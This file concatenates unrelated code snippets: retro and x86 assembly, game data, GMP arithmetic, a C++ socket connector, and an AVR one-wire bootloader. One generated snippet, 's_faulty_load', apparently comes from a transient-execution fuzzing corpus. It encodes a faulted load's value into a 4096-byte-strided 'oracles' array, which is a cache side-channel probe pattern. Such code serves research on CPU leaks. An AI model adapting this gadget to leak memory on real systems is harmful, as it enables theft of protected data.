; Returns 0 on failure, number of bytes present on success
XLIB sendmail
INCLUDE "saverst.def"
.sendmail
ld hl,2
add hl,sp ;point to length parameter
ld c,(hl)
inc hl
inc hl
ld e,(hl)
inc hl
ld d,(hl) ; lower 16 of info
ld b,0 ; keep it near
inc hl
ld a,(hl)
inc hl
ld h,(hl)
ld l,a ; hl holds name of info type
ex de,hl ; get parameters the right way round
ld a,SR_WPD
call_oz(os_sr)
ld hl,0
ret c
ld l,c
ret
|
.model small
.data
flagstatus dw ? ; Here we create a variable flagstatus that is dword or 2 bytes in memory whose type is not defined
.code
main proc
mov ax, 1 ; we assign the value 1 to the ax reg
push ax ; we then push ax on top of the stack where it remains
pop cx ; finally we take the top value from the stack and place its value in the cx reg
; We can also save the the status of the flag reg using the pushf command
pushf ; we push the status of the flags onto the top of stack
pop flagstatus ; we pop the latest item from the stack and into the variable flagstatus
push flagstatus ; we push the variable onto the stack
popf ; we set the status of the flags to be equal to what is on the stack
endp
end main
|
MoonMonsB1:
db $0A
db 8,ZUBAT
db 9,ZUBAT
db 10,TEDDIURSA
db 10,GEODUDE
db 11,GEODUDE
db 11,PSYDUCK
db 9,PARAS
db 11,PARAS
db 10,CLEFAIRY
db 12,CLEFAIRY
db $00
|
dnl Intel Pentium mpn_divexact_1 -- mpn by limb exact division.
dnl Copyright 2001, 2002, 2014 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C divisor
C odd even
C P54: 24.5 30.5 cycles/limb
C P55: 23.0 28.0
C void mpn_divexact_1 (mp_ptr dst, mp_srcptr src, mp_size_t size,
C mp_limb_t divisor);
C
C Plain divl is used for small sizes, since the inverse takes a while to
C setup. Multiplying works out faster for size>=3 when the divisor is odd,
C or size>=4 when the divisor is even. Actually on P55 size==2 for odd or
C size==3 for even are about the same speed for both divl or mul, but the
C former is used since it will use up less code cache.
C
C The P55 speeds noted above, 23 cycles odd or 28 cycles even, are as
C expected. On P54 in the even case the shrdl pairing nonsense (see
C mpn/x86/pentium/README) costs 1 cycle, but it's not clear why there's a
C further 1.5 slowdown for both odd and even.
defframe(PARAM_DIVISOR,16)
defframe(PARAM_SIZE, 12)
defframe(PARAM_SRC, 8)
defframe(PARAM_DST, 4)
dnl re-use parameter space
define(VAR_INVERSE,`PARAM_DST')
TEXT
ALIGN(32)
PROLOGUE(mpn_divexact_1)
deflit(`FRAME',0)
movl PARAM_DIVISOR, %eax
movl PARAM_SIZE, %ecx
pushl %esi FRAME_pushl()
push %edi FRAME_pushl()
movl PARAM_SRC, %esi
andl $1, %eax
movl PARAM_DST, %edi
addl %ecx, %eax C size if even, size+1 if odd
cmpl $4, %eax
jae L(mul_by_inverse)
xorl %edx, %edx
L(div_top):
movl -4(%esi,%ecx,4), %eax
divl PARAM_DIVISOR
movl %eax, -4(%edi,%ecx,4)
decl %ecx
jnz L(div_top)
popl %edi
popl %esi
ret
L(mul_by_inverse):
movl PARAM_DIVISOR, %eax
movl $-1, %ecx
L(strip_twos):
ASSERT(nz, `orl %eax, %eax')
shrl %eax
incl %ecx C shift count
jnc L(strip_twos)
leal 1(%eax,%eax), %edx C d
andl $127, %eax C d/2, 7 bits
pushl %ebx FRAME_pushl()
pushl %ebp FRAME_pushl()
ifdef(`PIC',`dnl
LEA( binvert_limb_table, %ebp)
movzbl (%eax,%ebp), %eax C inv 8 bits
',`
movzbl binvert_limb_table(%eax), %eax C inv 8 bits
')
movl %eax, %ebp C inv
addl %eax, %eax C 2*inv
imull %ebp, %ebp C inv*inv
imull %edx, %ebp C inv*inv*d
subl %ebp, %eax C inv = 2*inv - inv*inv*d
movl PARAM_SIZE, %ebx
movl %eax, %ebp
addl %eax, %eax C 2*inv
imull %ebp, %ebp C inv*inv
imull %edx, %ebp C inv*inv*d
subl %ebp, %eax C inv = 2*inv - inv*inv*d
movl %edx, PARAM_DIVISOR C d without twos
leal (%esi,%ebx,4), %esi C src end
leal (%edi,%ebx,4), %edi C dst end
negl %ebx C -size
ASSERT(e,` C expect d*inv == 1 mod 2^GMP_LIMB_BITS
pushl %eax FRAME_pushl()
imull PARAM_DIVISOR, %eax
cmpl $1, %eax
popl %eax FRAME_popl()')
movl %eax, VAR_INVERSE
xorl %ebp, %ebp C initial carry bit
movl (%esi,%ebx,4), %eax C src low limb
orl %ecx, %ecx C shift
movl 4(%esi,%ebx,4), %edx C src second limb (for even)
jz L(odd_entry)
shrdl( %cl, %edx, %eax)
incl %ebx
jmp L(even_entry)
ALIGN(8)
L(odd_top):
C eax scratch
C ebx counter, limbs, negative
C ecx
C edx
C esi src end
C edi dst end
C ebp carry bit, 0 or -1
mull PARAM_DIVISOR
movl (%esi,%ebx,4), %eax
subl %ebp, %edx
subl %edx, %eax
sbbl %ebp, %ebp
L(odd_entry):
imull VAR_INVERSE, %eax
movl %eax, (%edi,%ebx,4)
incl %ebx
jnz L(odd_top)
popl %ebp
popl %ebx
popl %edi
popl %esi
ret
L(even_top):
C eax scratch
C ebx counter, limbs, negative
C ecx twos
C edx
C esi src end
C edi dst end
C ebp carry bit, 0 or -1
mull PARAM_DIVISOR
subl %ebp, %edx C carry bit
movl -4(%esi,%ebx,4), %eax C src limb
movl (%esi,%ebx,4), %ebp C and one above it
shrdl( %cl, %ebp, %eax)
subl %edx, %eax C carry limb
sbbl %ebp, %ebp
L(even_entry):
imull VAR_INVERSE, %eax
movl %eax, -4(%edi,%ebx,4)
incl %ebx
jnz L(even_top)
mull PARAM_DIVISOR
movl -4(%esi), %eax C src high limb
subl %ebp, %edx
shrl %cl, %eax
subl %edx, %eax C no carry if division is exact
imull VAR_INVERSE, %eax
movl %eax, -4(%edi) C dst high limb
nop C protect against cache bank clash
popl %ebp
popl %ebx
popl %edi
popl %esi
ret
EPILOGUE()
ASM_END()
|
; A293296: a(n) = 2*n^2 - floor(n/4).
; 0,2,8,18,31,49,71,97,126,160,198,240,285,335,389,447,508,574,644,718,795,877,963,1053,1146,1244,1346,1452,1561,1675,1793,1915,2040,2170,2304,2442,2583,2729,2879,3033,3190,3352,3518,3688,3861,4039,4221,4407,4596
mov $1,$0
pow $0,2
mul $0,2
div $1,4
sub $0,$1
mov $1,$0
|
// Copyright (c) 2012-2016, The CryptoNote developers, The Bytecoin developers
//
// This file is part of Karbo.
//
// Karbo is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Karbo is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with Karbo. If not, see <http://www.gnu.org/licenses/>.
#include "TcpConnector.h"
#include <cassert>
#include <stdexcept>
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <winsock2.h>
#include <mswsock.h>
#include <System/InterruptedException.h>
#include <System/Ipv4Address.h>
#include "Dispatcher.h"
#include "ErrorMessage.h"
#include "TcpConnection.h"
namespace System {
namespace {
struct TcpConnectorContext : public OVERLAPPED {
NativeContext* context;
size_t connection;
bool interrupted;
};
LPFN_CONNECTEX connectEx = nullptr;
}
TcpConnector::TcpConnector() : dispatcher(nullptr) {
}
TcpConnector::TcpConnector(Dispatcher& dispatcher) : dispatcher(&dispatcher), context(nullptr) {
}
TcpConnector::TcpConnector(TcpConnector&& other) : dispatcher(other.dispatcher) {
if (dispatcher != nullptr) {
assert(other.context == nullptr);
context = nullptr;
other.dispatcher = nullptr;
}
}
TcpConnector::~TcpConnector() {
assert(dispatcher == nullptr || context == nullptr);
}
TcpConnector& TcpConnector::operator=(TcpConnector&& other) {
assert(dispatcher == nullptr || context == nullptr);
dispatcher = other.dispatcher;
if (dispatcher != nullptr) {
assert(other.context == nullptr);
context = nullptr;
other.dispatcher = nullptr;
}
return *this;
}
TcpConnection TcpConnector::connect(const Ipv4Address& address, uint16_t port) {
assert(dispatcher != nullptr);
assert(context == nullptr);
if (dispatcher->interrupted()) {
throw InterruptedException();
}
std::string message;
SOCKET connection = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (connection == INVALID_SOCKET) {
message = "socket failed, " + errorMessage(WSAGetLastError());
} else {
sockaddr_in bindAddress;
bindAddress.sin_family = AF_INET;
bindAddress.sin_port = 0;
bindAddress.sin_addr.s_addr = INADDR_ANY;
if (bind(connection, reinterpret_cast<sockaddr*>(&bindAddress), sizeof bindAddress) != 0) {
message = "bind failed, " + errorMessage(WSAGetLastError());
} else {
GUID guidConnectEx = WSAID_CONNECTEX;
DWORD read = sizeof connectEx;
if (connectEx == nullptr && WSAIoctl(connection, SIO_GET_EXTENSION_FUNCTION_POINTER, &guidConnectEx, sizeof guidConnectEx, &connectEx, sizeof connectEx, &read, NULL, NULL) != 0) {
message = "WSAIoctl failed, " + errorMessage(WSAGetLastError());
} else {
assert(read == sizeof connectEx);
if (CreateIoCompletionPort(reinterpret_cast<HANDLE>(connection), dispatcher->getCompletionPort(), 0, 0) != dispatcher->getCompletionPort()) {
message = "CreateIoCompletionPort failed, " + lastErrorMessage();
} else {
sockaddr_in addressData;
addressData.sin_family = AF_INET;
addressData.sin_port = htons(port);
addressData.sin_addr.S_un.S_addr = htonl(address.getValue());
TcpConnectorContext context2;
context2.hEvent = NULL;
if (connectEx(connection, reinterpret_cast<sockaddr*>(&addressData), sizeof addressData, NULL, 0, NULL, &context2) == TRUE) {
message = "ConnectEx returned immediately, which is not supported.";
} else {
int lastError = WSAGetLastError();
if (lastError != WSA_IO_PENDING) {
message = "ConnectEx failed, " + errorMessage(lastError);
} else {
context2.context = dispatcher->getCurrentContext();
context2.connection = connection;
context2.interrupted = false;
context = &context2;
dispatcher->getCurrentContext()->interruptProcedure = [&]() {
assert(dispatcher != nullptr);
assert(context != nullptr);
TcpConnectorContext* context2 = static_cast<TcpConnectorContext*>(context);
if (!context2->interrupted) {
if (CancelIoEx(reinterpret_cast<HANDLE>(context2->connection), context2) != TRUE) {
DWORD lastError = GetLastError();
if (lastError != ERROR_NOT_FOUND) {
throw std::runtime_error("TcpConnector::stop, CancelIoEx failed, " + lastErrorMessage());
}
context2->context->interrupted = true;
}
context2->interrupted = true;
}
};
dispatcher->dispatch();
dispatcher->getCurrentContext()->interruptProcedure = nullptr;
assert(context2.context == dispatcher->getCurrentContext());
assert(context2.connection == connection);
assert(dispatcher != nullptr);
assert(context == &context2);
context = nullptr;
DWORD transferred;
DWORD flags;
if (WSAGetOverlappedResult(connection, &context2, &transferred, FALSE, &flags) != TRUE) {
lastError = WSAGetLastError();
if (lastError != ERROR_OPERATION_ABORTED) {
message = "ConnectEx failed, " + errorMessage(lastError);
} else {
assert(context2.interrupted);
if (closesocket(connection) != 0) {
throw std::runtime_error("TcpConnector::connect, closesocket failed, " + errorMessage(WSAGetLastError()));
} else {
throw InterruptedException();
}
}
} else {
assert(transferred == 0);
assert(flags == 0);
DWORD value = 1;
if (setsockopt(connection, SOL_SOCKET, SO_UPDATE_CONNECT_CONTEXT, reinterpret_cast<char*>(&value), sizeof(value)) != 0) {
message = "setsockopt failed, " + errorMessage(WSAGetLastError());
} else {
return TcpConnection(*dispatcher, connection);
}
}
}
}
}
}
}
int result = closesocket(connection);
assert(result == 0);
}
throw std::runtime_error("TcpConnector::connect, " + message);
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xe494, %rsi
lea addresses_WC_ht+0xb294, %rdi
clflush (%rdi)
and %r15, %r15
mov $31, %rcx
rep movsq
nop
nop
add %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %rbx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WT+0xcf94, %r12
nop
nop
nop
inc %r14
mov $0x5152535455565758, %rbx
movq %rbx, (%r12)
nop
nop
nop
nop
sub $53242, %r12
// Store
lea addresses_WT+0x15cec, %r8
nop
nop
nop
nop
nop
inc %rdi
movw $0x5152, (%r8)
nop
nop
nop
nop
nop
cmp $40485, %rsi
// Load
lea addresses_UC+0x8304, %rdx
nop
nop
nop
nop
and $3160, %r12
movups (%rdx), %xmm5
vpextrq $0, %xmm5, %rsi
nop
nop
nop
and %r12, %r12
// Faulty Load
lea addresses_WC+0x10c94, %rbx
nop
add $26178, %rdx
mov (%rbx), %r12d
lea oracles, %r14
and $0xff, %r12
shlq $12, %r12
mov (%r14,%r12,1), %r12
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 4}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
.def srbyte = r12 ;byty for search rom algorithm
.def writelow = r13; marker for send low
.def zero =r14; always zero
.def smode=r15; if 1 then send
.def temp = r16 ;
.def temp2 = r17;
.def mode = r18 ;
.def bitp = r19 ; bit counter ... shift...
.def rwbyte = r21;
.def param = r22;
.def bytep = r23 ;byte counter
#define spmcrval param
.equ OWM_READ_ROM_COMMAND=0 ; 0 wegen schnellen test ist dieser wert 0! Daturch wird die Sprungdabelle nicht verwendet
.equ OWM_SLEEP=1 ; Warten auf Reset
.equ OWM_MATCH_ROM=2
.equ OWM_SEARCH_ROM_S=3 ;send bit
.equ OWM_SEARCH_ROM_R=4 ;resive master
.equ OWM_READ_COMMAND=5
.equ OWM_WRITE_SCRATCHPAD=6
.equ OWM_READ_SCRATCHPAD=7
.equ OWM_PROGRAMM_PAGE=8
.equ OWM_RECALL_FLASH=9
.equ OW_DDR = DDRD
.equ OW_PIN = PORTD2
.equ OW_PORT = PORTD
.equ OW_PINN = PIND
//.equ SPMEN = 0
;.equ SRAM_START = 0x60
.macro set_clock
ldi temp,0x80;
sts CLKPR,temp
ldi temp,@0
sts CLKPR,temp
.endmacro
.macro owwl
sbic OW_PINN,OW_PIN
rjmp pc-1
.endmacro
.macro owwh
sbis OW_PINN,OW_PIN
rjmp pc-1
.endmacro
;---------------------------------------------------
; START of PROG
;---------------------------------------------------
.CSEG
.ORG 0x000
jreset:
jmp start ; Reset-Vector
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
reti ;
.ORG 0x3E00
start:
cli
ldi temp,0
mov zero,temp
set_clock 0x01 ;4mhz
ldi mode,OWM_SLEEP
ldi temp,(1<<CS01) //2us
out TCCR0B,temp
ldi temp, HIGH(RAMEND) ; HIGH-Byte der obersten RAM-Adresse
out SPH, temp
ldi temp, LOW(RAMEND) ; LOW-Byte der obersten RAM-Adresse
out SPL, temp
;ldi temp,1
;out DDRB,temp
clr writelow
clr bitp
;sbi PORTB,0
ldi ZL,low(pro_owid*2)
ldi ZH,high(pro_owid*2)
ldi XL,low(sowid)
ldi XH,high(sowid)
;ldi temp2,8
pro_copy_loop: ;copy ID on SRAM for better handling
lpm temp,Z+
st X+,temp
cpi XL,low(SRAM_START+8) ;#################################
brlo pro_copy_loop
pro_loop:
;sbi PORTB,0
owwl ;wait for line goes low (polling)
sbrc writelow,0 ;test of zero send
sbi OW_DDR,OW_PIN ;yes pull line to low 2us faster
sbrs writelow,0 ;test egain 2us faster.....
rjmp pro_loop1 ;no ? goes next
ldi param,20 ;wait for 50 us
rcall wait_time
clr writelow ;reset write low indecator
cbi OW_DDR,OW_PIN ;release line
owwh ;wait for line is high (it can takes some time cause of the capacity of line)
pro_loop1:
tst smode ;smode=1 for slave sends to master
breq pro_loop_resv
pro_loop_send:
tst bitp
brne pro_loop_send1
rcall pro_hb
tst smode
breq pro_loop_end ; now reading ... do nothing
pro_loop_send1: ;prebare next bit
sbrs rwbyte ,0; if bit 0 set in rwbyte then skip next command
inc writelow
lsl bitp
ror rwbyte
rjmp pro_loop_end
pro_loop_resv:
ldi param,7 ;wait 15us
rcall wait_time
lsr rwbyte
;cbi PORTB,0
sbic OW_PINN,OW_PIN ;test line
ori rwbyte,0x80
lsl bitp
brne pro_loop_end ;no handle need
rcall pro_hb
tst smode
brne pro_loop_send ; Nach dem Gelesen byte koennte gesendet werden muessen....
pro_loop_end:
//owwh
out TCNT0,zero
pro_loop_end_test_reset:
sbic OW_PINN,OW_PIN //leitung wieder high
rjmp pro_loop
in temp,TCNT0
cpi temp,63
brlo pro_loop_end_test_reset
rcall pro_sleep_s2
rjmp pro_loop
pro_sleep:
out TCNT0,zero
pro_sleep_s1:
sbic OW_PINN,OW_PIN //leitung wieder high
ret
in temp,TCNT0
cpi temp,100
brlo pro_sleep_s1
//leitung wieder high
pro_sleep_s2:
owwh
ldi param,20
rcall wait_time
//Presents Impuls
sbi OW_DDR,OW_PIN
ldi param,75
rcall wait_time
cbi OW_DDR,OW_PIN
//init read byte
ldi bitp,0x01
ldi rwbyte,0
clr smode
ldi mode,OWM_READ_ROM_COMMAND
//Wait for all other devices presents impuls finished
ldi param,20
rcall wait_time
ret
pro_hb:
ldi ZL,low(pro_stable)
ldi ZH,high(pro_stable)
add ZL,mode
adc ZH,zero
icall
ret
pro_stable:
rjmp pro_read_rom_command
rjmp pro_sleep
rjmp pro_match_rom
rjmp pro_search_rom_s
rjmp pro_search_rom_r
rjmp pro_read_command
rjmp pro_write_scratchpad
rjmp pro_read_scratchpad
rjmp pro_programm_page
rjmp pro_recall_flash
pro_read_rom_command:
ldi mode,OWM_SLEEP
cpi rwbyte,0xCC
brne pro_rcc_1
ldi mode,OWM_READ_COMMAND
rjmp pro_out_bitp1
pro_rcc_1:
cpi rwbyte,0xF0 ;Searchrom
brne pro_rcc_2
ldi XL,low(sowid) ;init sram pointer
ldi XH,high(sowid)
ld srbyte,X+
ldi bytep,0
rjmp pro_serchrom_next_bit
pro_rcc_2:
cpi rwbyte,0x55 ;Matchrom
brne pro_rcc_3
// rcall pro_owidinit
ldi XL,low(sowid) ;init sram pointer
ldi XH,high(sowid)
ldi mode,OWM_MATCH_ROM
rjmp pro_out_bytep0
pro_rcc_3:
ret
pro_match_rom:
ld temp,X+
cp temp,rwbyte
breq pro_match_rom_next
ldi mode,OWM_SLEEP
ret
pro_match_rom_next:
cpi XL,LOW(SRAM_START+8);####################
breq pro_match_rom_found
rjmp pro_out_bitp1
pro_match_rom_found:
ldi mode,OWM_READ_COMMAND
rjmp pro_out_bitp1
pro_read_command:
ldi mode,OWM_SLEEP
cpi rwbyte,0x0F ;; Write to Scratchpad
brne pro_rc_1
ldi mode,OWM_WRITE_SCRATCHPAD
ldi XL,low(scratchpad) ;init sram pointer
ldi XH,high(scratchpad)
rjmp pro_out_bytep0
pro_rc_1:
cpi rwbyte,0xAA
brne pro_rc_2
ldi mode,OWM_READ_SCRATCHPAD ;;Read from Scratchpad
ldi XL,low(scratchpad) ;init sram pointer
ldi XH,high(scratchpad)
inc smode
ld rwbyte,X+
rjmp pro_out_bytep0
pro_rc_2:
cpi rwbyte,0xB8
brne pro_rc_3
ldi mode,OWM_RECALL_FLASH ;; copy Flash page in Scratchpad
ldi XL,low(scratchpad) ;init sram pointer
ldi XH,high(scratchpad)
rjmp pro_out_bytep0
pro_rc_3:
cpi rwbyte,0x55 ; copy Scratchpad to Flash
brne pro_rc_4
ldi mode,OWM_SLEEP
rjmp pro_programm_page
pro_rc_4:
cpi rwbyte,0x89 ; Reset Device /Boot (new) Firmware
brne pro_rc_5
jmp jreset
pro_rc_5:
cpi rwbyte,0x8B ; Clear the OWID saved in EEPROM / one ID1
brne pro_rc_6
ldi temp,7
pro_rc_5a:
ldi XL,low(E2END)
ldi XH,high(E2END)
sub XL,temp
out EEARH,XH
out EEARL,XL
ldi temp, (0<<EEPM1)|(0<<EEPM0)
out EECR, temp
ldi temp,0xFF
out EEDR, temp
sbi EECR, EEMPE
sbi EECR, EEPE
ret
pro_rc_6:
cpi rwbyte,0x8C ; Clear the OWID saved in EEPROM / one ID2
brne pro_rc_7
ldi temp,7+8
rjmp pro_rc_5a
pro_rc_7:
ret
pro_write_scratchpad:
st X+,rwbyte
cpi XL,138 ;#####################################
brlo pro_write_scratchpad_next
ldi mode,OWM_SLEEP
ret
pro_write_scratchpad_next:
ldi bitp,1
ret
pro_read_scratchpad:
cpi XL,8+130 ;###################################
brlo pro_read_scratchpad_next
ldi mode,OWM_SLEEP
clr smode
ret
pro_read_scratchpad_next:
ld rwbyte,X+
rjmp pro_out_bitp1
pro_programm_page:
.equ PAGESIZEB = 128 ; Not correct deglaration in inc file of ATMEGA328PB PAGESIZE*2;PAGESIZEB is page size in BYTES, not words
// .org SMALLBOOTSTART
write_page:
;transfer data from RAM to Flash page buffer
ldi bytep, PAGESIZEB ;init loop variable
ldi YL,low(scratchpad) ;init sram pointer
ldi YH,high(scratchpad)
ld ZL,Y+
ld ZH,Y+
;page erase
ldi spmcrval,(1<<PGERS) | (1<<SPMEN)
rcall do_spm
ldi spmcrval, (1<<RWWSRE) | (1<<SPMEN)
rcall do_spm
wrloop:
ld r0, Y+
ld r1, Y+
ldi spmcrval, (1<<SPMEN)
rcall do_spm
adiw ZH:ZL, 2
subi bytep, 2;use subi for PAGESIZEB<=256
brne wrloop
;execute page write
subi ZL, low(PAGESIZEB) ;restore pointer
sbci ZH, high(PAGESIZEB) ;not required for PAGESIZEB<=256
ldi spmcrval, (1<<PGWRT) + (1<<SPMEN)
rcall do_spm
ldi spmcrval, (1<<RWWSRE) | (1<<SPMEN)
rcall do_spm
;read back and check, optional
ldi bytep, PAGESIZEB
subi YL, low(PAGESIZEB) ;restore pointer
sbci YH, high(PAGESIZEB)
rdloop:
lpm r0, Z+
ld r1, Y+
cpse r0, r1
rjmp error
subi bytep, 2;use subi for PAGESIZEB<=256
brne rdloop
;return
ret
do_spm:
;input: spmcrval determines SPM action
;disable interrupts if enabled, store status
in temp2, SREG
cli
;check for previous SPM complete
wait:
in temp, SPMCSR
sbrc temp, SPMEN
rjmp wait
;SPM timed sequence
out SPMCSR, spmcrval
spm
;restore SREG (to enable interrupts if originally enabled)
out SREG, temp2
ret
error:
ret
pro_recall_flash:
st X+,rwbyte
;inc bytep
cpi XL,low(SRAM_START+8+2) ;##############################################
brlo pro_out_bitp1;pro_recall_flash_next
lds ZL,scratchpad
lds ZH,scratchpad+1
pro_recall_flash_cl:
lpm temp,Z+
st X+,temp
cpi XL,low(SRAM_START+8+66) ;############################################
brne pro_recall_flash_cl
ldi mode,OWM_SLEEP
ret
pro_out_read_command:
ldi mode,OWM_READ_COMMAND
pro_out_bytep0:
ldi bytep,0
pro_out_bitp1:
ldi bitp,1
ret
pro_serchrom_next_bit:
mov rwbyte,srbyte
mov temp2,rwbyte
com rwbyte
ror temp2 ;first bit in C
rol rwbyte ;C in first bit
inc smode
ldi bitp,0x40
ldi mode,OWM_SEARCH_ROM_R ;next mod Resive
ret
pro_search_rom_s:
clr temp2
lsr srbyte ;shift in C lowest bit
ror temp2 ; shift in temp2 as highest bit
andi rwbyte,0x80 ; clear other bits
eor temp2,rwbyte
breq pro_search_rom_s_goon
ldi mode,OWM_SLEEP
ret
pro_search_rom_s_goon:
inc bytep
mov temp2,bytep
andi temp2,0x07
brne pro_serchrom_next_bit ;prepare next bit
mov temp2,bytep
andi temp2,0x40 ;;end
brne pro_search_rom_found
;read next byte
ld srbyte,X+
rjmp pro_serchrom_next_bit
pro_search_rom_found:
ldi mode,OWM_READ_COMMAND
rjmp pro_out_bytep0
pro_search_rom_r:
clr smode
ldi mode,OWM_SEARCH_ROM_S
ldi bitp,0 ;go to searchrom_s after bit get
ret
pro_owid: .DB 0xA3, 0xAA, 0x57, 0xAA, 0x57, 0xAA, 0x57, 0x8A
wait_time:
out TCNT0,zero
wait_time1:
in temp,TCNT0
cp temp,param
brlo wait_time1
ret
.DSEG
sowid: .BYTE 8
scratchpad: .BYTE 130 |
/**
* @file methods/ann/layer/softmax.hpp
* @author Mrityunjay Tripathi
* @author Sreenik Seal
*
* Definition of the Softmax class.
*
* mlpack is free software; you may redistribute it and/or modify it under the
